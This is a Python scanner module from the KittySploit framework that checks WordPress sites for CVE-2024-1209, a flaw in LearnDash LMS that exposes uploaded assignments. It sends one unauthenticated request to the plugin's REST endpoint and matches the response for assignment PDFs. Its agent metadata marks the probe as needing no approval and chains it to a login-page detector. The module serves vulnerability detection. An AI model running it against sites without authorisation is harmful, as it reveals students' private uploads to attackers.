LearnDash LMS < 4.10.2 - Sensitive Information Exposure via assignments Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, ."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'LearnDash LMS < 4.10.2 - Sensitive Information Exposure via assignments Detection',
        'description': 'The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.1 via direct file access due to insufficient protection of uploaded assignments. This makes it possible for unauthenticated attackers to obtain those uploads.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'wpscan', 'cve2024', 'wp', 'wp-plugin', 'wordpress', 'exposure', 'learndash', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://wpscan.com/vulnerability/f813a21d-7a6a-4ff4-a43c-3e2991a23c7f/',
            'https://github.com/karlemilnikka/CVE-2024-1209',
            'https://nvd.nist.gov/vuln/detail/CVE-2024-1209',
            'https://www.learndash.com/release-notes/',
            'https://www.wordfence.com/threat-intel/vulnerabilities/id/7191955e-0db1-4ad1-878b-74f90ca59c91?source=cve',
        ],
        'cve': 'CVE-2024-1209',
    }

    def run(self):
        r = self.http_request(method="GET", path='/wp-json/wp/v2/sfwd-assignment', allow_redirects=True)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('"id":', 'slug":"assignment', '.pdf"',)
        header_any = ('application/json',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="LearnDash LMS < 4.10.2 - Sensitive Information Exposure via assignments detected",
                path='/wp-json/wp/v2/sfwd-assignment',
            )
            return True
        return False